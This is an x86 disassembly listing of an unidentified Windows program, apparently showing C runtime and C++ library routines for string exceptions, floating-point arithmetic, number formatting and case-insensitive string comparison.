cmp edi, 8
mov dword_4DBE9C, ebx
jnz short loc_425D2C
mov eax, [ebp+arg_0]
mov dword_43D4CC, eax
loc_425D2C: ; CODE XREF: sub_425C06+111j
; sub_425C06+11Cj
xor eax, eax
pop ebx
loc_425D2F: ; CODE XREF: sub_425C06+2Cj
; sub_425C06+79j
pop edi
pop esi
pop ebp
retn
sub_425C06 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425D33 proc near ; CODE XREF: sub_425C06+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D44C, edx
push esi
mov eax, offset dword_43D448
jz short loc_425D61
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_425D55: ; CODE XREF: sub_425D33+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425D61
cmp [eax+4], edx
jnz short loc_425D55
loc_425D61: ; CODE XREF: sub_425D33+16j
; sub_425D33+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_425D75
cmp [eax+4], edx
jz short locret_425D77
loc_425D75: ; CODE XREF: sub_425D33+3Bj
xor eax, eax
locret_425D77: ; CODE XREF: sub_425D33+40j
retn
sub_425D33 endp
; =============== S U B R O U T I N E =======================================
sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp
; sub_4251BB+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
jnb short loc_425DDF
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425DDF
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425DB8
and cl, 7Fh
jmp short loc_425DC5
; ---------------------------------------------------------------------------
loc_425DB8: ; CODE XREF: sub_425D78+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425DD3
or cl, 80h
loc_425DC5: ; CODE XREF: sub_425D78+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425DD3: ; CODE XREF: sub_425D78+48j
mov dword_4DBDDC, 16h
jmp short loc_425DE9
; ---------------------------------------------------------------------------
loc_425DDF: ; CODE XREF: sub_425D78+Bj
; sub_425D78+27j
mov dword_4DBDDC, 9
loc_425DE9: ; CODE XREF: sub_425D78+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DEE proc near ; CODE XREF: sub_425973+165p
; sub_42600E+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425FEE
cmp cx, 7FFFh
jnb loc_425FEE
cmp dx, 0BFFDh
ja loc_425FEE
cmp dx, 3FBFh
ja short loc_425E57
xor eax, eax
jmp short loc_425E91
; ---------------------------------------------------------------------------
loc_425E57: ; CODE XREF: sub_425DEE+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425E79
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425E79
xor eax, eax
cmp [esi+4], eax
jnz short loc_425E7B
cmp [esi], eax
jnz short loc_425E7B
jmp loc_425FE8
; ---------------------------------------------------------------------------
loc_425E79: ; CODE XREF: sub_425DEE+71j
; sub_425DEE+79j
xor eax, eax
loc_425E7B: ; CODE XREF: sub_425DEE+80j
; sub_425DEE+84j
cmp cx, ax
jnz short loc_425E9E
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425E9E
cmp [ebx+4], eax
jnz short loc_425E9E
cmp [ebx], eax
jnz short loc_425E9E
loc_425E91: ; CODE XREF: sub_425DEE+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_426009
; ---------------------------------------------------------------------------
loc_425E9E: ; CODE XREF: sub_425DEE+90j
; sub_425DEE+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425EAE: ; CODE XREF: sub_425DEE+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425F02
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425ECA: ; CODE XREF: sub_425DEE+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425EF5
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425EF5: ; CODE XREF: sub_425DEE+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425ECA
loc_425F02: ; CODE XREF: sub_425DEE+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425EAE
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425F45
loc_425F20: ; CODE XREF: sub_425DEE+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425F3E
lea eax, [ebp+var_24]
push eax
call sub_425380
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425F20
loc_425F3E: ; CODE XREF: sub_425DEE+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425F7E
loc_425F45: ; CODE XREF: sub_425DEE+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425F7E
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425F5E: ; CODE XREF: sub_425DEE+184j
test byte ptr [ebp+var_24], 1
jz short loc_425F67
inc [ebp+var_14]
loc_425F67: ; CODE XREF: sub_425DEE+174j
lea eax, [ebp+var_24]
push eax
call sub_4253AE
dec ebx
pop ecx
jnz short loc_425F5E
cmp [ebp+var_14], 0
jz short loc_425F7E
or byte ptr [ebp+var_24], 1
loc_425F7E: ; CODE XREF: sub_425DEE+155j
; sub_425DEE+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425F95
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425FCA
loc_425F95: ; CODE XREF: sub_425DEE+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425FC7
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425FC2
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425FBC
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FBC: ; CODE XREF: sub_425DEE+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC2: ; CODE XREF: sub_425DEE+1B5j
inc [ebp+var_20+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425DEE+1ABj
inc [ebp+var_24+2]
loc_425FCA: ; CODE XREF: sub_425DEE+1A5j
; sub_425DEE+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425FEE
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425FE8: ; CODE XREF: sub_425DEE+86j
mov [esi+0Ah], ax
jmp short loc_426009
; ---------------------------------------------------------------------------
loc_425FEE: ; CODE XREF: sub_425DEE+42j
; sub_425DEE+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_426009: ; CODE XREF: sub_425DEE+ABj
; sub_425DEE+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425DEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42600E proc near ; CODE XREF: sub_4254A2+440p
; sub_425973+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D828
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_426087
jge short loc_426036
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D988
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_426036: ; CODE XREF: sub_42600E+16j
cmp [ebp+arg_8], ecx
jnz short loc_426041
mov eax, [ebp+arg_0]
mov [eax], cx
loc_426041: ; CODE XREF: sub_42600E+2Bj
cmp [ebp+arg_4], ecx
jz short loc_426087
push esi
push edi
loc_426048: ; CODE XREF: sub_42600E+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_426080
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_426073
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_426073: ; CODE XREF: sub_42600E+57j
push esi
push [ebp+arg_0]
call sub_425DEE
pop ecx
pop ecx
xor ecx, ecx
loc_426080: ; CODE XREF: sub_42600E+49j
cmp [ebp+arg_4], ecx
jnz short loc_426048
pop edi
pop esi
loc_426087: ; CODE XREF: sub_42600E+14j
; sub_42600E+36j
pop ebx
leave
retn
sub_42600E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426090 proc near ; CODE XREF: sub_426173+19p
; sub_42629A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41B9C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D9B3
mov eax, esi
pop esi
retn 8
sub_426090 endp
; =============== S U B R O U T I N E =======================================
sub_4260BA proc near ; CODE XREF: ___:004260E5p
; sub_426168+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_40D977
mov ecx, esi
pop esi
jmp sub_426564
sub_4260BA endp
; =============== S U B R O U T I N E =======================================
sub_4260D5 proc near ; DATA XREF: ___:00427C94o
; ___:00427CA4o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4260E1
mov eax, offset dword_427688
locret_4260E1: ; CODE XREF: sub_4260D5+5j
retn
sub_4260D5 endp
; ---------------------------------------------------------------------------
loc_4260E2: ; DATA XREF: ___:off_427C90o
push esi
mov esi, ecx
call sub_4260BA
test byte ptr [esp+8], 1
jz short loc_4260F8
push esi
call sub_41D65F
pop ecx
loc_4260F8: ; CODE XREF: ___:004260EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4260FE proc near ; CODE XREF: sub_426173+29p
mov eax, offset loc_426AE2
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4260FE endp
; =============== S U B R O U T I N E =======================================
sub_42614C proc near ; DATA XREF: ___:off_427CA0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426168
test [esp+4+arg_0], 1
jz short loc_426162
push esi
call sub_41D65F
pop ecx
loc_426162: ; CODE XREF: sub_42614C+Dj
mov eax, esi
pop esi
retn 4
sub_42614C endp
; =============== S U B R O U T I N E =======================================
sub_426168 proc near ; CODE XREF: sub_42614C+3p
; DATA XREF: ___:00428014o
mov dword ptr [ecx], offset off_427CA0
jmp sub_4260BA
sub_426168 endp
; =============== S U B R O U T I N E =======================================
sub_426173 proc near ; CODE XREF: sub_40D824+13p
; sub_40D9E8+Ep
mov eax, offset loc_426AF4
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4260FE
push offset dword_428010
lea eax, [ebp-3Ch]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_426173 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p
; sub_4261D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D824
mov eax, esi
pop esi
retn 4
sub_4261B0 endp
; =============== S U B R O U T I N E =======================================
sub_4261D0 proc near ; CODE XREF: sub_42629A+29p
mov eax, offset loc_426B06
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4261D0 endp
; =============== S U B R O U T I N E =======================================
sub_426218 proc near ; CODE XREF: sub_426282+7p
; sub_4262DE+7p ...
mov eax, offset loc_426B18
call sub_41D640
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42651A
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426218 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; DATA XREF: ___:off_427CCCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426277
test [esp+4+arg_0], 1
jz short loc_426271
push esi
call sub_41D65F
pop ecx
loc_426271: ; CODE XREF: sub_42625B+Dj
mov eax, esi
pop esi
retn 4
sub_42625B endp
; =============== S U B R O U T I N E =======================================
sub_426277 proc near ; CODE XREF: sub_42625B+3p
; DATA XREF: ___:004280BCo
mov dword ptr [ecx], offset off_427CCC
jmp sub_4260BA
sub_426277 endp
; =============== S U B R O U T I N E =======================================
sub_426282 proc near ; CODE XREF: sub_4262F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
retn 4
sub_426282 endp
; =============== S U B R O U T I N E =======================================
sub_42629A proc near ; CODE XREF: sub_40D774+15p
; sub_40D7CD+15p ...
mov eax, offset loc_426B2A
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4261D0
push offset dword_4280B8
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427CCC
call sub_426587
int 3 ; Trap to Debugger
sub_42629A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262DE proc near ; CODE XREF: sub_4262F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CCC
mov eax, esi
pop esi
retn 4
sub_4262DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4262F6 proc near ; DATA XREF: ___:00427C98o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426218
push offset dword_4280F8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426314: ; DATA XREF: ___:00427CD4o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4262DE
push offset dword_4280B8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426332: ; DATA XREF: ___:00427CA8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426282
push offset dword_428010
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_4262F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426350 proc near ; CODE XREF: sub_40D104+5Ep
; ___:00415771p ...
jmp near ptr 71AB1B7Bh
sub_426350 endp
; ---------------------------------------------------------------------------
dec esi
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426356 proc near ; CODE XREF: sub_41D2AC+23p
; sub_41D550+13p
nop
jmp near ptr 28420B2h
sub_426356 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42635C proc near ; CODE XREF: ___:0040B091p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426371
cmp [ebp+arg_0], 0
jge short loc_426371
push 1
push 0Ah
jmp short loc_426376
; ---------------------------------------------------------------------------
loc_426371: ; CODE XREF: sub_42635C+7j
; sub_42635C+Dj
push 0
push [ebp+arg_8]
loc_426376: ; CODE XREF: sub_42635C+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_426389
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_42635C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426389 proc near ; CODE XREF: sub_42635C+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_4263A3
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_4263A6
; ---------------------------------------------------------------------------
loc_4263A3: ; CODE XREF: sub_426389+Dj
mov esi, [ebp+arg_0]
loc_4263A6: ; CODE XREF: sub_426389+18j
mov edi, ecx
loc_4263A8: ; CODE XREF: sub_426389+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_4263C4
add bl, 57h
jmp short loc_4263C7
; ---------------------------------------------------------------------------
loc_4263C4: ; CODE XREF: sub_426389+34j
add bl, 30h
loc_4263C7: ; CODE XREF: sub_426389+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_4263A8
and byte ptr [ecx], 0
dec ecx
loc_4263D2: ; CODE XREF: sub_426389+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_4263D2
pop edi
pop esi
pop ebx
pop ebp
retn
sub_426389 endp
; =============== S U B R O U T I N E =======================================
sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p
; sub_41761C+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DBE84, 0
push ebx
jnz short loc_42642B
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_4263F7: ; CODE XREF: sub_4263E5+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426409
cmp bx, 41h
jb short loc_426409
add ebx, 20h
loc_426409: ; CODE XREF: sub_4263E5+19j
; sub_4263E5+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_42641B
cmp ax, 41h
jb short loc_42641B
add eax, 20h
loc_42641B: ; CODE XREF: sub_4263E5+2Bj
; sub_4263E5+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_42645B
cmp bx, ax
jz short loc_4263F7
jmp short loc_42645B
; ---------------------------------------------------------------------------
loc_42642B: ; CODE XREF: sub_4263E5+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426435: ; CODE XREF: sub_4263E5+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_4265C1
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_4265C1
pop ecx
test bx, bx
pop ecx
jz short loc_426459
cmp bx, ax
jz short loc_426435
loc_426459: ; CODE XREF: sub_4263E5+6Dj
pop edi
pop esi
loc_42645B: ; CODE XREF: sub_4263E5+3Dj
; sub_4263E5+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4263E5 endp
; =============== S U B R O U T I N E =======================================
sub_426465 proc near ; CODE XREF: sub_41843B+21p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648C
push esi
call sub_41B9C0
inc eax
push eax
call sub_41BEB5
pop ecx
test eax, eax
pop ecx
jz short loc_42648C
push esi
push eax
call sub_41C890
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648C: ; CODE XREF: sub_426465+7j
; sub_426465+1Aj
xor eax, eax
pop esi
retn
sub_426465 endp
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: ___:004264A8p
mov dword ptr [ecx], offset off_427CEC
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4264A4
push ecx
call sub_41BA91
pop ecx
locret_4264A4: ; CODE XREF: sub_426490+Bj
retn
sub_426490 endp
; ---------------------------------------------------------------------------
loc_4264A5: ; DATA XREF: ___:off_427CECo
push esi
mov esi, ecx
call sub_426490
test byte ptr [esp+8], 1
jz short loc_4264BB
push esi
call sub_41D65F
pop ecx
loc_4264BB: ; CODE XREF: ___:004264B2j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_4264C1: ; DATA XREF: ___:off_427CF4o
push esi
mov esi, ecx
call sub_426564
test byte ptr [esp+8], 1
jz short loc_4264D7
push esi
call sub_41D65F
pop ecx
loc_4264D7: ; CODE XREF: ___:004264CEj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp
; sub_4261D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
push dword ptr [edi]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42650C
push dword ptr [edi]
push eax
call sub_41C890
pop ecx
pop ecx
loc_42650C: ; CODE XREF: sub_4264DD+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_4264DD endp
; =============== S U B R O U T I N E =======================================
sub_42651A proc near ; CODE XREF: sub_426218+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426557
push dword ptr [edi+4]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42655D
push dword ptr [edi+4]
push eax
call sub_41C890
pop ecx
pop ecx
jmp short loc_42655D
; ---------------------------------------------------------------------------
loc_426557: ; CODE XREF: sub_42651A+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42655D: ; CODE XREF: sub_42651A+2Ej
; sub_42651A+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42651A endp
; =============== S U B R O U T I N E =======================================
sub_426564 proc near ; CODE XREF: sub_4260BA+16j
; ___:004264C4p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427CF4
jz short locret_426579
push dword ptr [ecx+4]
call sub_41D65F
pop ecx
locret_426579: ; CODE XREF: sub_426564+Aj
retn
sub_426564 endp
; =============== S U B R O U T I N E =======================================
sub_42657A proc near ; DATA XREF: ___:00427CF8o
mov eax, [ecx+4]
test eax, eax
jnz short locret_426586
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426586: ; CODE XREF: sub_42657A+5j
retn
sub_42657A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426587 proc near ; CODE XREF: sub_426173+37p
; sub_42629A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D10
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 2650343h
pop edi
pop esi
leave
retn 8
sub_426587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p
; sub_4263E5+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_4265D3
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_4265D3: ; CODE XREF: sub_4265C1+Bj
cmp dword_4DBE84, 0
jnz short loc_4265ED
cmp ax, 41h
jb short locret_426634
cmp ax, 5Ah
ja short locret_426634
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4265ED: ; CODE XREF: sub_4265C1+19j
cmp ax, 100h
jnb short loc_426607
push 1
push eax
call sub_42686F
pop ecx
test eax, eax
pop ecx
jnz short loc_426607
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426607: ; CODE XREF: sub_4265C1+30j
; sub_4265C1+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DBE84
call sub_426636
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426634
mov ax, [ebp+var_2]
locret_426634: ; CODE XREF: sub_4265C1+1Fj
; sub_4265C1+25j ...
leave
retn
sub_4265C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DC010, esi
jnz short loc_4266AC
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427920
mov edi, 100h
push edi
push esi
call near ptr 2640000h
nop
test eax, eax
jz short loc_42668A
mov dword_4DC010, ebx
jmp short loc_4266AC
; ---------------------------------------------------------------------------
loc_42668A: ; CODE XREF: sub_426636+4Aj
push esi
push esi
push ebx
push offset word_4CB88C
push edi
push esi
call near ptr 264100Eh
nop
test eax, eax
jz loc_42682B
mov dword_4DC010, 2
loc_4266AC: ; CODE XREF: sub_426636+2Ej
; sub_426636+52j
cmp [ebp+arg_C], esi
jle short loc_4266C1
push [ebp+arg_C]
push [ebp+arg_8]
call sub_42683F
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4266C1: ; CODE XREF: sub_426636+79j
mov eax, dword_4DC010
